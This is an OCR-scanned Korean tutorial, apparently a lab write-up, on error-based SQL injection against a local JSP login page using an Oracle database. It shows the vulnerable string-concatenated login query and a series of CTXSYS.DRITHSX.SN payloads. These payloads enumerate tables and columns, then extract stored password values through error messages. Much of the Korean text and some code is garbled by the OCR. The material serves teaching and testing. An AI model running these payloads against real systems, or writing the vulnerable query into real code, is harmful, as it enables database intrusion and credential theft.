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HTTP &El 500 — L5 AMH 27
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An exception occurred processing [floginAction2.jsp] at line [42]

BE AH7t, ol 2 Q88 STAF|A| 201 ohe (7]X| RS THE PSTHSUL

org.apache, jasper, JasperException: An exception occurred processing [/logindctionZ, jsel at line [42]

39: conn = DriverManager.getConnect ion{dbURL, dblD, dbPW);

40: Statement st = conn.createStatement();

41:

42: ResultSet rs = st executeluery("select + from MEMBER where userid = '" + user|D + "' &ND userpw ="" + userP§ + "'"};
43: Boolean check = false;:

44: while(rs.next(}) // ZWEUE SHHA ML HESH] 2B while2

45: {

Stacktrace:
org.apache. jasper. servlet, JspServ|etWrapper handledspExcept ion{JspServletWrapper. java:610)
ora.apache. jasper. servlet JspServietWrapper service(JspServietWrapper, javaz483)
org.apache. jasper.servlet . JspServiet.servicedspFilel(JspServiet. java:379)
org.apache, jasper. servlet, JspServiet service{JspServlet java:327)
javax, servlet http HttpServiet.service(HttpServiet, java:764)
org. apache, toncat, websocket  server . WsFilter doFilter(¥sFilter, javas53)

Javax.servlet ServletException: java.sql.S0LSyntaxErrorException: ORA-00933: SOL command not properly ended
org.apache, jasper. runtine, PageContext Impl . hand|ePageExcept ion(PageContext lnpl  java:657)

org.apache, jsp. loginActionZ_isp. _jspBervice(loginict ion2_jsp. java:216)
org.apache. jasper. runtine HttpJspBase. service(HttpJspBase. java:70)
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[SQL Injection FeFgo] Q= 21 Ho]A]]

localhost:3080/loginAction2.jsp

localhost:8080 L2
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Statement st = conn.createStatement();
ResultSet rs = st.executeQuery(

"SELECT * FROM member WHERE userid = ™ + ID + " AND userpw =" + PW + ");
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2= 29! (root cause)

Javax.servlet. ServietException: java.sal .SBLSyntaxErrorExceptinnilOH.ﬂ.—DEIEISSZ SUL command not praperly ended

org.apache. jasper.runtime.PageContext Impl  hand|ePageExcept ion{PageCantext Inpl . java:657)
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UTL_INADDR.GET_HOST NAME((AE32])) Oracle 11g%Ef
SYS #stat
UTL_INADDR.GET_HOST_ADDRESS((ME# E|)) A2 7t
ORDSYS.ORD_DICOM.G ETMAPPINGXPATH((ME?-! E|, user, user))
CTXSYS.DRITHSX.SN(user, (M 232]))
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eqst' AND CTXSYS.DRITHSX.SN (user, (SELECT banner FROM

21 e
vSversion WHERE banner LIKE '%0racle%')) = 1--

javax.servlet.Servle = E
DRG-11701: thesaurus| Oracle Database 11g Express Edlt:on Helease 11.2.0.2.0 - B4bit Production|does

o2

HA|X] ORA-0B512: at "CTXSYS.DHOE™, TTne TBU
ORA-0B512: at CTXSVS.DFNTHSX , line 540
ORA-0B512: at line |

21t ME{ 7t AF2 F9! Oracle HEE ¥ 4 US

¥ YRECAE FH 50| /K@ o £ @49 CTXSYSDRITHSX.SNE olgstel 4
&e Aas,

2. Error Based SQL Injection ZZ°f AMgHE= g4

UNION SQL Injection 9] 75 of2] 7He] dlolelg & el &% 4 9t W, Error Based
SQL Injection 2 #s}= tMEiE L AR 298 & ook mabd] dshe dojeg F25]

A= COUNT @2 ROWNUM & ARgdfiok gt

gt AA Fo] S Ml g4l Error Based SQL Injection
o ARgSich A o] s
wolth. d& &°l, 9 747t

w27 FEh7] 93 o] 7hgsith
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[Error Based SQL Injection 13 4]

Step 1. ALH EA A7 &<l

Ae2E dE #tE wob =Rl sk HofAoflA SQL Injection Fefd EA RS =l
SQLTEA £92 a4z Hgole HSAH(O 53 22 SFEAE st 219 32
o AHe] WS Hiu HePY A oRE wdd 4 QUrh

Step 2. Error Based SQL Injection
SQLTZ oldE A Al ®reEe AEE 5o dolgH|o]A~9] HolE/ZAd/HolE 9 et

oSS FISHe WAL uEste] Asts dHolHE #5T 4 9rk
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EIO|E 7H== 2!

eqst' AND CTXSYS.DRITHSX.SN(user,(SELECT COUNT(table_name)
FROM user_tables))=1--

javax.servlet.ServletException: java.sql.SOLException: ORA-20000: Oracle Text error:
DRG-11701 - thesaurus@s{lzs not exist

ORA-06512: at "CTXSYS. “, line 160

ORA-0B512: at "CTXSYS.DRITHSX", line 540

ORA-0B512: at line |

AHE 7L St B0 22| 7= '3'7H0]Ct.

[o]29] g e & Yok Heoles Z= wW7kA 3 HIeE S7MAZIH HeolE °lF

EHI0|E 0| 2t2l

eqst' AND CTXSYS.DRITHSX.SN(user,(SELECT table_name FROM
(SELECT table_name, ROWNUM AS RNUM FROM user_tables)
WHERE RNUM=2))=1--

&= 9l (root cause)f

javax.servlet.ServletExceptjon: java.sql.S0LException: ORA-20000: Oracle Text error:
DRG-11701: thesaurusdnes not exist

ORA-0B512: at "CTXSYS.DRUE™, line 160

ORA-0B512: at "CTXSYS.DRITHSX", |ine 540

ORA-0B512: at line |

AHE X7 St 28 E|o| 22| 0|F=2 'MEMBER'O|Ct.
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eqst' AND CTXSYS.DRITHSX.SN(user,(SELECT COUNT(column_name)
FROM all_tab_columns WHERE table_name="MEMBER'))=1--

2= 219! (root cause)f

javax.servlet.ServietException: java.sql,SOLException: ORA-20000: Oracle Text error:
DRG-11701: thesauru oes not exist
ORA-08512: at "CTXSYS. ", line 160

ORA-05512: at "CTXSYS.DRITHSX", line 540
ORA-0B512: at line 1

A2}t 4 d et 'MEMBER' H|0| 22| Z& +== '5'7H0|C}.

eqst' AND CTXSYS.DRITHSX.SN(user,(SELECT column_name FROM
(SELECT column_name, ROWNUM AS RNUM FROM all_tab_columns
WHERE table_name='MEMBER') WHERE RNUM=2))=1--

== 219! (root cause)

javax.servlet.ServletExceotion: Java.sql.SOLException: ORA-20000: Oracle Text error:
DRG-11701: thesaurus |USERPY| does not exist

ORA-06512: at "CTXSYS.DRUE™, line 160

ORA-06512: at "CTXSYS,DRITHSX", |ine 540

ORA-0B512: at line 1

'MEMBER' H[0| 22| 21 Z& H2 'USERPW'O|CE.
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'MEMBER' H|o]E29] HA Ho]gE FEot7] {al s HolE9 dolg W45 St}
infosec

HIOIE] 744 ol

eqst' AND CTXSYS.DRITHSX.SN(user,(SELECT COUNT (userpw)
FROM MEMBER))=1--

= 20l (root cause)l

0"E‘| Javax.servlet.ServletException: java.sal.SQLException: ORA-20000: Oracle Text error:
DRG-111701: thesaurus{ 3 Jdoes not exist

ORA-0B512: at "CTXSYS.DRUE", line 160

ORA-0B512: at "CTXSYS.DRITHSX™, line 540

ORA-0B512: at line 1

'MEMBER' H|0|=2| &!X| H[0|E 7H4~= '3'7HO|C}.

A4 dlel" Jie &9 & dste HolHE Z2 w7bx & WeE SIMAYIH HelHE &

infosec

HIO[E| =&

eqst' AND CTXSYS.DRITHSX.SN(user, (SELECT userpw FROM (SELECT
userpw, ROWNUM AS RNUM FROM member) WHERE RNUM=1))=1--

=2 22l (root cause)

javax.servlet.Servle =20000: Oracle Text error:
ORG-11701: thesaurus FETEI0498047F2F303F TE476HBDATICA425085080 |does not exi st

ORA-C6512: =t "CTXSYSTORIE™ Time rou
ORA-06512: =t "CTXSYS.DRITHSK", |ine 540
ORA-06512: at line |

'MEMBER' H|0| 22| 11| T§A 2| = (USERPW) HI0|E{Q! S A El
IAQES x££ QL)
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